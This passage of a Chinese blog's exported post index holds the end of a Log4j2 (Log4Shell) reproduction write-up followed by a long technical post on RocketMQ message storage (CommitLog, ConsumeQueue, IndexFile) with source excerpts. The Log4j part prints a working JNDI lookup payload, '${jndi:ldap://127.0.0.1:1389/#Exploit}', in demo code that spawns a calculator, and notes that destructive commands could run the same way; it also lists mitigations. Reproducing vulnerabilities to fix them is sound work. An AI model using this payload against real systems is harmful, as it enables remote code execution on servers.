LogManager.getLogger(Log4jDemo.class); 2 3 public static void main(String[] args) { 4 5 System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); 6 logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/#Exploit}\u0026#34;); 7 8 try { 9 Thread.sleep(1000); 10 } catch (Exception e) { 11 12 } 13 14 } 执行后效果：\n可以看到，我的计算器被调起了。既然可以执行语句和代码逻辑，那么像 rm -rf 、删库 这种操作也可以执行的！\n上面这段程序中，有一行代码要注意：\n1 System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); 如果设置成 false 或者注释掉这行代码，则计算器都不会被调起，即攻击程序不会被执行。原因是 ：\n“\nJava 最终也修复了这个利用点，对 LDAP Reference 远程工厂类的加载增加了限制，在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false，还对应的分配了一个漏洞编号 CVE-2018-3149\n”\n那是不是意味着，高版本的 JDK 就不会有漏洞呢？\n不是的，还是有办法攻击，不要抱有侥幸心理，具体可以参考：https://paper.seebug.org/942/#4-jdk-8u191\n解决方案 改配置 网上常说的临时补救方案是修改配置如：\n修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true 修改配置 log4j2.formatMsgNoLookups=True 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true 原理其实都一样，就是禁用 log4j2 的 lookup 。\n升级版本 目前官方 2.15.0 版本已经修复了这个问题，可以升级这个版本，笔者利用上面的程序修改了版本号后，发现漏洞无法再复现了\n1\u0026lt;!-- 可以在这里修改 log4j 依赖版本--\u0026gt; 2\u0026lt;log4j2.version\u0026gt;2.15.0\u0026lt;/log4j2.version\u0026gt; 当然你也可以手动编译 log4j2 的源码，然后上传到自己的 maven 私服，再修改公共依赖升级版本。\n注意编译 log4j2 源码时需要 1.9 以上版本的 jdk，因为它有这么个东西\n参考 https://paper.seebug.org/942/#4-jdk-8u191 https://mp.weixin.qq.com/s/FouhOPacCOMYq153xaw-3A ","date":"2021-12-13T08:39:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/cover.jpg","permalink":"/p/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/","title":"lo4j2 漏洞复现过程及解决方案"},{"content":"前言 通过前面两篇中的应用例子，我们已经大概知道 RocketMQ 的架构是什么样的了。如图：\n主要是以下几个部分：\nproducer consumer broker nameserver 如果你自己动手部署过 RocketMQ, 相信对下面的这个部署架构图会非常清楚：\n本文我们来了解一下 RockerMQ 中的消息存储是如何设计和实现的。\n消息存储 前知识 在介绍之前我们先了解几个基本概念：\n分区\n消息队列中 同一个 topic 中的消息可能会存储到多个分区上，如下图：\noffset\n消息在 broker 上的每个分区都是组织成一个文件列表，消费者拉取数据需要知道数据在文件中的偏移量，这个偏移量就是所谓 offset。Offset 是绝对偏移量，服务器会将 offset 转化为具体文件的相对偏移量 , 消费者消费消息队列的偏移量 , 通过 offset 找到 message\n存储架构 消息存储是 RocketMQ 中最为复杂和最为重要的一部分。\n上面这个图我们可以更简化一下：\nRocketMQ 为 Producer 和 Consumer 分别设计了不同的存储结构，Producer 对应 CommitLog, Consumer 对应 ConsumeQueue。\n这其实是“异步化“，或者说”离线计算“的一个典型例子。这里之所以可以用“异步线程”，也是因为消息队列天生就是用来“缓冲消息”的。只要消息到了 CommitLog，发送的消息也就不会丢。只要消息不丢，那就有了“充足的回旋余地”，用一个后台线程慢慢同步到 ConsumeQueue，再由 Consumer 消费。可以说，这也是在消息队列内部的一个典型的“最终一致性”的案例：Producer 发了消息，进了 CommitLog，此时 Consumer 并不可见。但没关系，只要消息不丢，消息最终肯定会进入 ConsumeQueue，让 Consumer 可见。\nCommitLog 消息主体以及元数据的存储主体，存储 Producer 端写入的消息主体内容，消息内容不是定长的。\n生成规则\nCommitLog 单个文件大小默认 1G, 文件名长度为 20 位，左边补零，剩余为起始偏移量，比如 00000000000000000000 代表了第一个文件，起始偏移量为 0，文件大小为 1G=1073741824；当第一个文件写满了，第二个文件为 00000000001073741824，起始偏移量为 1073741824，以此类推。消息主要是顺序写入日志文件，当文件满了，写入下一个文件。\n存储路径\n1❯ cd ~/store 2 3~/store 4❯ ll 5total 16 6-rw-r--r-- 1 root staff 0B Dec 6 10:48 abort 7-rw-r--r-- 1 root staff 4.0K Dec 6 15:46 checkpoint 8drwxr-xr-x 3 root staff 96B Sep 7 16:30 commitlog 9drwxr-xr-x 12 root staff 384B Dec 6 15:46 config 10drwxr-xr-x 5 root staff 160B Nov 30 14:06 consumequeue 11drwxr-xr-x 3 root staff 96B Dec 6 11:46 index 12-rw-r--r-- 1 root staff 4B Dec 6 11:46 lock 存储规则\nRocketMQ 采用了单一的日志文件，即把同一台机器上面所有 topic 的消息，存放在一个文件里面，从而避免了随机的磁盘写入，提高了性能。\nRocketMQ 中主要保存了 CommitLog、Consume Queue、Index File 三种数据文件。由于内存和磁盘都是有限的资源，Broker 不可能永久地保存所有数据，所以一些超过保存期限的数据会被定期删除。RocketMQ 通过设置数据过期时间来删除额外的数据文件。\n什么样的文件可以被删除？\n如果非当前写文件在一定时间间隔内没有再次被更新，则认为是过期文件，可以被删除。\nRocketMQ 不会管这个这个文件上的消息是否被全部消费。默认每个文件的过期时间为 72 小时。\n1 // The number of hours to keep a log file before deleting it (in hours) 2 @ImportantField 3 private int fileReservedTime = 72; 通过在 Broker 配置文件中设置 fileReservedTime 来改变过期时间，单位为小时\n1brokerClusterName = DefaultCluster 2brokerName = broker-a 3brokerId = 0 4deleteWhen = 04 5fileReservedTime = 48 6brokerRole = ASYNC_MASTER 7flushDiskType = ASYNC_FLUSH 删除的整体流程是在 DefaultMessageStore 中启动了一个定时任务来执行的删除操作：\n这个定时的周期是 10 秒，每 10 秒会执行一次，可以通过修改参数配置。\n1// Resource reclaim interval 2//private int cleanResourceInterval = 10000; 3 4 this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() { 5 @Override 6 public void run() { 7 DefaultMessageStore.this.cleanFilesPeriodically(); 8 } 9 }, 1000 * 60, this.messageStoreConfig.getCleanResourceInterval(), TimeUnit.MILLISECONDS); 具体逻辑是这样的：\n1 private void deleteExpiredFiles() { 2 3 int deleteCount = 0; 4 long fileReservedTime = DefaultMessageStore.this.getMessageStoreConfig().getFileReservedTime(); 5 int deletePhysicFilesInterval = DefaultMessageStore.this.getMessageStoreConfig().getDeleteCommitLogFilesInterval(); 6 int destroyMapedFileIntervalForcibly = DefaultMessageStore.this.getMessageStoreConfig().getDestroyMapedFileIntervalForcibly(); 7 8 boolean timeup = this.isTimeToDelete(); 9 boolean spacefull = this.isSpaceToDelete(); 10 boolean manualDelete = this.manualDeleteFileSeveralTimes \u0026gt; 0; 11 12 if (timeup || spacefull || manualDelete) { 13 14 if (manualDelete) 15 this.manualDeleteFileSeveralTimes--; 16 17 boolean cleanAtOnce = DefaultMessageStore.this.getMessageStoreConfig().isCleanFileForciblyEnable() \u0026amp;\u0026amp; this.cleanImmediately; 18 19 log.info(\u0026#34;begin to delete before {} hours file. timeup: {} spacefull: {} manualDeleteFileSeveralTimes: {} cleanAtOnce: {}\u0026#34;, 20 fileReservedTime, 21 timeup, 22 spacefull, 23 manualDeleteFileSeveralTimes, 24 cleanAtOnce); 25 26 fileReservedTime *= 60 * 60 * 1000; 27 28 deleteCount = DefaultMessageStore.this.commitLog.deleteExpiredFile(fileReservedTime, deletePhysicFilesInterval, 29 destroyMapedFileIntervalForcibly, cleanAtOnce); 30 if (deleteCount \u0026gt; 0) { 31 } else if (spacefull) { 32 log.warn(\u0026#34;disk space will be full soon, but delete file failed.\u0026#34;); 33 } 34 } 35} 可以看到，当满足以下三个条件之一时，将执行删除操作：\n当前时间等于已经配置的删除时间，默认为凌晨 4 点，开始执行删除文件操作\n1// When to delete,default is at 4 am 2 @ImportantField 3 private String deleteWhen = \u0026#34;04\u0026#34;; 磁盘使用空间超过 85%\n1private final double diskSpaceCleanForciblyRatio = 2 Double.parseDouble(System.getProperty(\u0026#34;rocketmq.broker.diskSpaceCleanForciblyRatio\u0026#34;, \u0026#34;0.85\u0026#34;)); 手动执行删除，预留，可以通过调用 excuteDeleteFilesManualy 方法手工触发过期文件删除，目前 RocketMQ 暂未封装手工触发文件删除的命令。\n数据结构\n从源码上直接看一下 CommitLog 存储时逻辑上的数据结构情况（代码源自 CommitLog 类）：\n1protected PutMessageResult encode(MessageExtBrokerInner msgInner) { 2 /** 3 * Serialize message 4 */ 5 final byte[] propertiesData = 6 msgInner.getPropertiesString() == null ? null : msgInner.getPropertiesString().getBytes(MessageDecoder.CHARSET_UTF8); 7 8 final int propertiesLength = propertiesData == null ? 0 : propertiesData.length; 9 10 if (propertiesLength \u0026gt; Short.MAX_VALUE) { 11 log.warn(\u0026#34;putMessage message properties length too long. length={}\u0026#34;, propertiesData.length); 12 return new PutMessageResult(PutMessageStatus.PROPERTIES_SIZE_EXCEEDED, null); 13 } 14 15 final byte[] topicData = msgInner.getTopic().getBytes(MessageDecoder.CHARSET_UTF8); 16 final int topicLength = topicData.length; 17 18 final int bodyLength = msgInner.getBody() == null ? 0 : msgInner.getBody().length; 19 20 final int msgLen = calMsgLength(msgInner.getSysFlag(), bodyLength, topicLength, propertiesLength); 21 22 // Exceeds the maximum message 23 if (msgLen \u0026gt; this.maxMessageSize) { 24 CommitLog.log.warn(\u0026#34;message size exceeded, msg total size: \u0026#34; + msgLen + \u0026#34;, msg body size: \u0026#34; + bodyLength 25 + \u0026#34;, maxMessageSize: \u0026#34; + this.maxMessageSize); 26 return new PutMessageResult(PutMessageStatus.MESSAGE_ILLEGAL, null); 27 } 28 29 // Initialization of storage space 30 this.resetByteBuffer(encoderBuffer, msgLen); 31 // 1 TOTALSIZE 32 this.encoderBuffer.putInt(msgLen); 33 // 2 MAGICCODE 34 this.encoderBuffer.putInt(CommitLog.MESSAGE_MAGIC_CODE); 35 // 3 BODYCRC 36 this.encoderBuffer.putInt(msgInner.getBodyCRC()); 37 // 4 QUEUEID 38 this.encoderBuffer.putInt(msgInner.getQueueId()); 39 // 5 FLAG 40 this.encoderBuffer.putInt(msgInner.getFlag()); 41 // 6 QUEUEOFFSET, need update later 42 this.encoderBuffer.putLong(0); 43 // 7 PHYSICALOFFSET, need update later 44 this.encoderBuffer.putLong(0); 45 // 8 SYSFLAG 46 this.encoderBuffer.putInt(msgInner.getSysFlag()); 47 // 9 BORNTIMESTAMP 48 this.encoderBuffer.putLong(msgInner.getBornTimestamp()); 49 // 10 BORNHOST 50 socketAddress2ByteBuffer(msgInner.getBornHost() ,this.encoderBuffer); 51 // 11 STORETIMESTAMP 52 this.encoderBuffer.putLong(msgInner.getStoreTimestamp()); 53 // 12 STOREHOSTADDRESS 54 socketAddress2ByteBuffer(msgInner.getStoreHost() ,this.encoderBuffer); 55 // 13 RECONSUMETIMES 56 this.encoderBuffer.putInt(msgInner.getReconsumeTimes()); 57 // 14 Prepared Transaction Offset 58 this.encoderBuffer.putLong(msgInner.getPreparedTransactionOffset()); 59 // 15 BODY 60 this.encoderBuffer.putInt(bodyLength); 61 if (bodyLength \u0026gt; 0) 62 this.encoderBuffer.put(msgInner.getBody()); 63 // 16 TOPIC 64 this.encoderBuffer.put((byte) topicLength); 65 this.encoderBuffer.put(topicData); 66 // 17 PROPERTIES 67 this.encoderBuffer.putShort((short) propertiesLength); 68 if (propertiesLength \u0026gt; 0) 69 this.encoderBuffer.put(propertiesData); 70 71 encoderBuffer.flip(); 72 return null; 73} 结合上表，一条消息的存储内容如下：\n将所有的消息存储在一起就是 CommitLog 的全部内容，如下：\n注意以上图中所画为抽象结构，具体实现上 commitLog 内部还有\nMappedFile MappedFileQueue 1public class CommitLog { 2 // Message\u0026#39;s MAGIC CODE daa320a7 3 public final static int MESSAGE_MAGIC_CODE = -626843481; 4 protected static final InternalLogger log = InternalLoggerFactory.getLogger(LoggerName.STORE_LOGGER_NAME); 5 // End of file empty MAGIC CODE cbd43194 6 protected final static int BLANK_MAGIC_CODE = -875286124; 7 protected final MappedFileQueue mappedFileQueue; 8 protected final DefaultMessageStore defaultMessageStore; 9 10 11public class MappedFileQueue { 12 private static final InternalLogger log = InternalLoggerFactory.getLogger(LoggerName.STORE_LOGGER_NAME); 13 private static final InternalLogger LOG_ERROR = InternalLoggerFactory.getLogger(LoggerName.STORE_ERROR_LOGGER_NAME); 14 15 private static final int DELETE_FILES_BATCH_MAX = 10; 16 17 private final String storePath; 18 19 protected final int mappedFileSize; 20 21 protected final CopyOnWriteArrayList\u0026lt;MappedFile\u0026gt; mappedFiles = new CopyOnWriteArrayList\u0026lt;MappedFile\u0026gt;(); CommitLog MappedFileQueue MappedFile 三者的关系如下：\nMappedFile 和物理文件是一一对应的。\n这一点我们可以从 MappedFileQueue 的 load 方法中看出：\n1public boolean load() { 2 3 File dir = new File(this.storePath); 4 File[] ls = dir.listFiles(); 5 if (ls != null) { 6 return doLoad(Arrays.asList(ls)); 7 } 8 return true; 9} 10 11public boolean doLoad(List\u0026lt;File\u0026gt; files) { 12 // ascending order 13 files.sort(Comparator.comparing(File::getName)); 14 15 for (File file : files) { 16 if (file.length() != this.mappedFileSize) { 17 log.warn(file + \u0026#34;\\t\u0026#34; + file.length() 18 + \u0026#34; length not matched message store config value, ignore it\u0026#34;); 19 return true; 20 } 21 22 try { 23 MappedFile mappedFile = new MappedFile(file.getPath(), mappedFileSize); 24 25 mappedFile.setWrotePosition(this.mappedFileSize); 26 mappedFile.setFlushedPosition(this.mappedFileSize); 27 mappedFile.setCommittedPosition(this.mappedFileSize); 28 this.mappedFiles.add(mappedFile); 29 log.info(\u0026#34;load \u0026#34; + file.getPath() + \u0026#34; OK\u0026#34;); 30 } catch (IOException e) { 31 log.error(\u0026#34;load file \u0026#34; + file + \u0026#34; error\u0026#34;, e); 32 return false; 33 } 34 } 35 return true; 36} ConsumeQueue 上文我们讲了 RocketMQ 将所有 topic 的消息都存储在 CommitLog 中，由于是顺序写所以性能比较好，那么随之而来的问题就是查询或者说读取消息的时候怎么办？用这个结构存储效率高，但如果用这个结构读取消息看起来不方便，那 RocketMQ 是怎么做的呢？\n如果你本地有 commitLog 文件，可以直接读取一下看看数据：\n1 public static ByteBuffer read(String path) throws Exception { 2 File file = new File(path); 3 FileInputStream fin = new FileInputStream(file); 4 byte[] bytes = new byte[(int) file.length()]; 5 fin.read(bytes); 6 ByteBuffer buffer = ByteBuffer.wrap(bytes); 7 return buffer; 8 } 9 10 public static void main(String[] args) throws Exception { 11 String filePath = \u0026#34;/Users/xiaohezi/store/commitlog/00000000000000000000\u0026#34;; 12 ByteBuffer buffer = read(filePath); 13 List\u0026lt;MessageExt\u0026gt; messageList = new ArrayList\u0026lt;\u0026gt;(); 14 while (true) { 15 MessageExt decodeMsgs = MessageDecoder.decode(buffer); 16 if (decodeMsgs == null) { 17 break; 18 } 19 messageList.add(decodeMsgs); 20 } 21 for (MessageExt ms : messageList) { 22 System.out.println(\u0026#34;主题：\u0026#34; + ms.getTopic() + \u0026#34; 消息：\u0026#34; + 23 new String(ms.getBody()) + \u0026#34;队列 ID:\u0026#34; + ms.getQueueId() + \u0026#34; 存储地址：\u0026#34; + ms.getStoreHost()); 24 } 25 } 程序执行的效率其实并不低，那么 RocketMQ 是怎样进行高效的检索消息的呢 ？\n为了说清楚这个问题，我们先来看个基本概念\nMessageQueue\n先来个图直观地感受一下：\n所谓 MessageQueue 虽然直译是“消息队列”，但它和我们所理解的 “分片”、“分区” 是一回事儿。以后提到 RocketMQ 的 分区、分片、队列其实都是对应 messageQueue。\n比如我们的 Topic 里面有 100 条数据，该 Topic 默认是 4 个队列，那么每个队列中大约 25 条数据。然后，这些 MessageQueue 是和 Broker 绑定在一起的，就是说每个 MessageQueue 都可能处于不同的 Broker 机器上，这取决于你的队列数量和 Broker 集群。\n既然 MessageQueue 是多个，那么在消息发送的时候，势必要通过某种方式选择一个队列。默认的情况下，就是通过轮询来获取一个消息队列。\n在消息发送时候的应用如下面引用的官方文档所述：\n“\nProducer 端在发送消息的时候，会先根据 Topic 找到指定的 TopicPublishInfo，在获取了 TopicPublishInfo 路由信息后，RocketMQ 的客户端在默认方式下 selectOneMessageQueue() 方法会从 TopicPublishInfo 中的 messageQueueList 中选择一个队列（MessageQueue）进行发送消息。具体的容错策略均在 MQFaultStrategy 这个类中定义。这里有一个 sendLatencyFaultEnable 开关变量，如果开启，在随机递增取模的基础上，再过滤掉 not available 的 Broker 代理。所谓的\u0026quot;latencyFaultTolerance\u0026quot; ，是指对之前失败的，按一定的时间做退避。例如，如果上次请求的 latency 超过 550Lms，就退避 3000Lms；超过 1000L，就退避 60000L；如果关闭，采用随机递增取模的方式选择一个队列（MessageQueue）来发送消息，latencyFaultTolerance 机制是实现消息发送高可用的核心关键所在。\n”\n1public MessageQueue selectOneMessageQueue() { 2 int index = this.sendWhichQueue.incrementAndGet(); 3 int pos = Math.abs(index) % this.messageQueueList.size(); 4 if (pos \u0026lt; 0) 5 pos = 0; 6 return this.messageQueueList.get(pos); 7} consumeQueue\n接着我们来看下本节的重点 consumeQueue，先看下它的文件组织结构：\n其中 队列 ID，就是以 MessageQueue 队列 ID 命名的。\n每个 cosumequeue 文件的名称 fileName，名字长度为 20 位，左边补零，剩余为起始偏移量；比如 00000000000000000000 代表了第一个文件，起始偏移量为 0，文件大小为 600W，当第一个文件满之后创建的第二个文件的名字为 00000000000006000000，起始偏移量为 6000000，以此类推，第三个文件名字为 00000000000012000000，起始偏移量为 12000000，消息存储的时候会顺序写入文件，当文件满了，写入下一个文件。\nRocketMQ 的 ConsumeQueue 中不存储具体的消息，具体的消息由 CommitLog 存储，ConsumeQueue 中只存储路由到该 queue 中的消息在 CommitLog 中的 offset，消息的大小以及消息所属的 tag 的 hash（tagCode），一共只占 20 个字节：\n我们可以按照这个格式输出一下 ConsumerQueue 文件的内容：\n1 public static void main(String[] args) throws Exception { 2 3 String path = \u0026#34;/Users/root/store/consumequeue/TopicTest/0/00000000000000000000\u0026#34;; 4 ByteBuffer buffer = read(path); 5 while (true){ 6 long offset = buffer.getLong(); 7 long size = buffer.getInt(); 8 long code = buffer.getLong(); 9 if (size==0){ 10 break; 11 } 12 System.out.println(\u0026#34;消息长度：\u0026#34;+size+\u0026#34; 消息偏移量：\u0026#34; +offset+\u0026#34; tag hashcode:\u0026#34;+code); 13 } 14 System.out.println(\u0026#34;--------------------------\u0026#34;); 15 16} 17 18消息长度：201 消息偏移量：201 tag hashcode:2598919 19消息长度：201 消息偏移量：1005 tag hashcode:2598919 20消息长度：201 消息偏移量：1809 tag hashcode:2598919 21... 上面输出的结果中，消息偏移量的差值等于 = 消息长度 * 队列长度，具体到本例就是\n804(1005-201) = 201 * 4（从 0-3 共 4 个队列）\n为什么是这样？因为每个队列的初始偏移量不同，我以我本地 4 个队列 （0-3），每个队列只有一个文件（00000000000000000000）为例，则每个文件的初始 offset 为：\n队列 0 偏移量 201 队列 1 偏移量 402 队列 2 偏移量 603 队列 3 偏移量 0 当读取一条消息时，会先读 ConsumeQueue，再读 CommitLog。怎么知道消息存储在哪个 CommitLog 文件上？看一下以下两段代码，出自 CommitLog 和 MappedFileQueue 2 个类：\n1 public SelectMappedBufferResult getData(final long offset, final boolean returnFirstOnNotFound) { 2 int mappedFileSize = this.defaultMessageStore.getMessageStoreConfig().getMappedFileSizeCommitLog(); 3 MappedFile mappedFile = this.mappedFileQueue.findMappedFileByOffset(offset, returnFirstOnNotFound); 4 if (mappedFile != null) { 5 int pos = (int) (offset % mappedFileSize); 6 SelectMappedBufferResult result = mappedFile.selectMappedBuffer(pos); 7 return result; 8 } 9 10 return null; 11 } 12 13/** 14 * Finds a mapped file by offset. 15 * 16 * @param offset Offset. 17 * @param returnFirstOnNotFound If the mapped file is not found, then return the first one. 18 * @return Mapped file or null (when not found and returnFirstOnNotFound is \u0026lt;code\u0026gt;false\u0026lt;/code\u0026gt;). 19 */ 20public MappedFile findMappedFileByOffset(final long offset, final boolean returnFirstOnNotFound) { 21 try { 22 MappedFile firstMappedFile = this.getFirstMappedFile(); 23 MappedFile lastMappedFile = this.getLastMappedFile(); 24 if (firstMappedFile != null \u0026amp;\u0026amp; lastMappedFile != null) { 25 if (offset \u0026lt; firstMappedFile.getFileFromOffset() || offset \u0026gt;= lastMappedFile.getFileFromOffset() + this.mappedFileSize) { 26 LOG_ERROR.warn(\u0026#34;Offset not matched. Request offset: {}, firstOffset: {}, lastOffset: {}, mappedFileSize: {}, mappedFiles count: {}\u0026#34;, 27 offset, 28 firstMappedFile.getFileFromOffset(), 29 lastMappedFile.getFileFromOffset() + this.mappedFileSize, 30 this.mappedFileSize, 31 this.mappedFiles.size()); 32 } else { 33 int index = (int) ((offset / this.mappedFileSize) - (firstMappedFile.getFileFromOffset() / this.mappedFileSize)); 34 MappedFile targetFile = null; 35 try { 36 targetFile = this.mappedFiles.get(index); 37 } catch (Exception ignored) { 38 } 39 40 if (targetFile != null \u0026amp;\u0026amp; offset \u0026gt;= targetFile.getFileFromOffset() 41 \u0026amp;\u0026amp; offset \u0026lt; targetFile.getFileFromOffset() + this.mappedFileSize) { 42 return targetFile; 43 } 44 45 for (MappedFile tmpMappedFile : this.mappedFiles) { 46 if (offset \u0026gt;= tmpMappedFile.getFileFromOffset() 47 \u0026amp;\u0026amp; offset \u0026lt; tmpMappedFile.getFileFromOffset() + this.mappedFileSize) { 48 return tmpMappedFile; 49 } 50 } 51 } 52 53 if (returnFirstOnNotFound) { 54 return firstMappedFile; 55 } 56 } 57 } catch (Exception e) { 58 log.error(\u0026#34;findMappedFileByOffset Exception\u0026#34;, e); 59 } 60 61 return null; 62} 假设 1073742827 为物理偏移量（物理偏移量也即全局偏移量），则其对应的相对偏移量为 1003（1003 = 1073742827 - 1073741824），并且该偏移量位于第二个 CommitLog。\n根据上面的代码，当我们从 commitLog 文件列表根据 consumeQueue 提供的偏移量 offset 就可以锁定具体的 commitLog 文件，然后根据 offset 计算出 position, 可以找到对应的消息。\n1 public SelectMappedBufferResult selectMappedBuffer(int pos) { 2 int readPosition = getReadPosition(); 3 if (pos \u0026lt; readPosition \u0026amp;\u0026amp; pos \u0026gt;= 0) { 4 if (this.hold()) { 5 ByteBuffer byteBuffer = this.mappedByteBuffer.slice(); 6 byteBuffer.position(pos); 7 int size = readPosition - pos; 8 ByteBuffer byteBufferNew = byteBuffer.slice(); 9 byteBufferNew.limit(size); 10 return new SelectMappedBufferResult(this.fileFromOffset + pos, byteBufferNew, size, this); 11 } 12 } 13 14 return null; 15} 除了通过 offset 找到对应的消息，还要以通过 message ID 查找。\n原理是一样的，只不过会先通过 message ID 将偏移量解析出来：\n1public static MessageId decodeMessageId(final String msgId) throws UnknownHostException { 2 SocketAddress address; 3 long offset; 4 int ipLength = msgId.length() == 32 ? 4 * 2 : 16 * 2; 5 6 byte[] ip = UtilAll.string2bytes(msgId.substring(0, ipLength)); 7 byte[] port = UtilAll.string2bytes(msgId.substring(ipLength, ipLength + 8)); 8 ByteBuffer bb = ByteBuffer.wrap(port); 9 int portInt = bb.getInt(0); 10 address = new InetSocketAddress(InetAddress.getByAddress(ip), portInt); 11 12 // offset 13 byte[] data = UtilAll.string2bytes(msgId.substring(ipLength + 8, ipLength + 8 + 16)); 14 bb = ByteBuffer.wrap(data); 15 offset = bb.getLong(0); 16 17 return new MessageId(address, offset); 18} consumeQueue 文件是何时创建并更新的？\nConsumeQueue 是消息消费队列文件，消息达到 commitlog 文件后将被异步转发到消息消费队列，供消息消费者消费。\nRocketMQ 的具体做法是，使用 Broker 端的后台服务线程—ReputMessageService 不停地分发请求并异步构建 ConsumeQueue\nindexFile 上图中有一个查询类型是通过messageKey 查询。\n它是一种模型查询，查询条件是：Topic+Message Key。说起查询，阿里云有一个推荐的消息查询过程：\nmessagekey 是什么，它的作用又是什么呢？\n顾名思义就是消息的一个标识，可以在客户端发送消息时设置，主要用来在业务上区别每条消息的不同，比如一般我们会把 订单 id、用户 id能在业务上达到区别数据的目的是值设置进去，以方便后面的查询。\n1@GetMapping(\u0026#34;/produce\u0026#34;) 2public void produceMsg() { 3 4 Map\u0026lt;String, Object\u0026gt; headers = Maps.newHashMapWithExpectedSize(16); 5 headers.put(MessageConst.PROPERTY_TAGS, \u0026#34;test02\u0026#34;); 6 headers.put(MessageConst.PROPERTY_KEYS,\u0026#34;messageKey\u0026#34;); 7 8 Message message = MessageBuilder.createMessage(\u0026#34;Hello RocketMQ!\u0026#34;, new MessageHeaders(headers)); 9 output.send(message); 10 System.out.println(\u0026#34;发送了消息 \u0026#34; + message); 11 12} 如果我们想根据 messageKey 来查询消息，RocketMQ 是怎么做的呢？\nRocketMQ 引入 Hash 索引机制，为消息建立索引，像上文的 messageKey 就是根据索引查询出来的。IndexFile 是消息索引文件，主要存储的是 key 和 offset 的对应关系。\nindexFile（索引文件）提供了一种可以通过 key 或时间区间来查询消息的方法。文件名 fileName 是以创建时的时间戳命名的，固定的单个 IndexFile 文件大小约为 400M，一个 IndexFile 可以保存 2000W 个索引。\nRocketMQ 的索引文件逻辑结构，类似 JDK 中 HashMap 的实现。索引文件的具体结构如下：\n文件由以下几部分组成：\nindexHeader 500w 个 hash 槽 2000w 个 index 条目 indexHeader\nIndexFile 的头部，占 40 个字节。主要包含以下字段\nbeginTimestamp：该 IndexFile 文件中包含消息的最小存储时间。 endTimestamp：该 IndexFile 文件中包含消息的最大存储时间。 beginPhyoffset：该 IndexFile 文件中包含消息的最小 CommitLog 文件偏移量。 endPhyoffset：该 IndexFile 文件中包含消息的最大 CommitLog 文件偏移量。 hashSlotcount：该 IndexFile 文件中包含的 hashSlot 的总数。 indexCount：该 IndexFile 文件中已使用的 Index 条目个数。 1public class IndexHeader { 2 public static final int INDEX_HEADER_SIZE = 40; 3 private static int beginTimestampIndex = 0; 4 private static int endTimestampIndex = 8; 5 private static int beginPhyoffsetIndex = 16; 6 private static int endPhyoffsetIndex = 24; 7 private static int hashSlotcountIndex = 32; 8 private static int indexCountIndex = 36; 9 private final ByteBuffer byteBuffer; 10 private AtomicLong beginTimestamp = new AtomicLong(0); 11 private AtomicLong endTimestamp = new AtomicLong(0); 12 private AtomicLong beginPhyOffset = new AtomicLong(0); 13 private AtomicLong endPhyOffset = new AtomicLong(0); 14 private AtomicInteger hashSlotCount = new AtomicInteger(0); 15 16 private AtomicInteger indexCount = new AtomicInteger(1); slot table\n4*500W 的 Slot Table 并不保存真正的索引数据，而是保存每个槽位对应的单向链表的头\n索引数据\n20*2000W 是真正的索引数据，即一个 Index File 可以保存 2000W 个索引。\n怎么给一条消息建议索引 ？\n先是根据 key 计算 hashcode，对 500w 取模，就可以知道位于哪个 hash 槽。indexHead 占了文件的前面的 40 字节。然后每个 hash 槽占 4 个字节。具体在文件的位置是由公式 40 + keyIndex*4 计算得到的。\n再计算 index 条目位置，一条消息 hash 槽的位置是根据 key 决定的，index 条目的位置是放入的顺序决定的，这叫顺序写。index 条目首先要跨过 indexHead 和 500w 个 hash 槽的大小。然后根据当前是第几条 index 条目，就放入到第几个位置去。计算公式是：40 个字节的 indexHead+500w 个 * 4 字节的 hash 槽大小 + 当前 index 索引的值 * 20 字节\n怎么查询索引文件 ？\n“\n“按照 Message Key 查询消息”的方式，RocketMQ 的具体做法是，主要通过 Broker 端的 QueryMessageProcessor 业务处理器来查询，读取消息的过程就是用 topic 和 key 找到 IndexFile 索引文件中的一条记录，根据其中的 commitLog offset 从 CommitLog 文件中读取消息的实体内容。\n”\n我们发送的消息体中，包含 Message Key 或 Unique Key，那么就会给它们每一个都构建索引，索引文件根据 key 来查询消息的流程主要是：\n根据查询的 key 的 hashcode%slotNum 得到具体的槽的位置 (slotNum 是一个索引文件里面包含的最大槽的数目，例如图中所示 slotNum=500w) 根据 slotValue(slot 位置对应的值）查找到索引项列表的最后一项（倒序排列，slotValue 总是指向最新的一个索引项） 遍历索引项列表返回查询时间范围内的结果集（默认一次最大返回的 32 条记录） 1 public boolean putKey(final String key, final long phyOffset, final long storeTimestamp) { 2 if (this.indexHeader.getIndexCount() \u0026lt; this.indexNum) { 3 int keyHash = indexKeyHashMethod(key); 4 int slotPos = keyHash % this.hashSlotNum; 5 int absSlotPos = IndexHeader.INDEX_HEADER_SIZE + slotPos * hashSlotSize; 6 7 FileLock fileLock = null; 8 9 try { 10 11 // fileLock = this.fileChannel.lock(absSlotPos, hashSlotSize, 12 // false); 13 int slotValue = this.mappedByteBuffer.getInt(absSlotPos); 14 if (slotValue \u0026lt;= invalidIndex || slotValue \u0026gt; this.indexHeader.getIndexCount()) { 15 slotValue = invalidIndex; 16 } 17 18 long timeDiff = storeTimestamp - this.indexHeader.getBeginTimestamp(); 19 20 timeDiff = timeDiff / 1000; 21 22 if (this.indexHeader.getBeginTimestamp() \u0026lt;= 0) { 23 timeDiff = 0; 24 } else if (timeDiff \u0026gt; Integer.MAX_VALUE) { 25 timeDiff = Integer.MAX_VALUE; 26 } else if (timeDiff \u0026lt; 0) { 27 timeDiff = 0; 28 } 29 30 int absIndexPos = 31 IndexHeader.INDEX_HEADER_SIZE + this.hashSlotNum * hashSlotSize 32 + this.indexHeader.getIndexCount() * indexSize; 33 34 this.mappedByteBuffer.putInt(absIndexPos, keyHash); 35 this.mappedByteBuffer.putLong(absIndexPos + 4, phyOffset); 36 this.mappedByteBuffer.putInt(absIndexPos + 4 + 8, (int) timeDiff); 37 this.mappedByteBuffer.putInt(absIndexPos + 4 + 8 + 4, 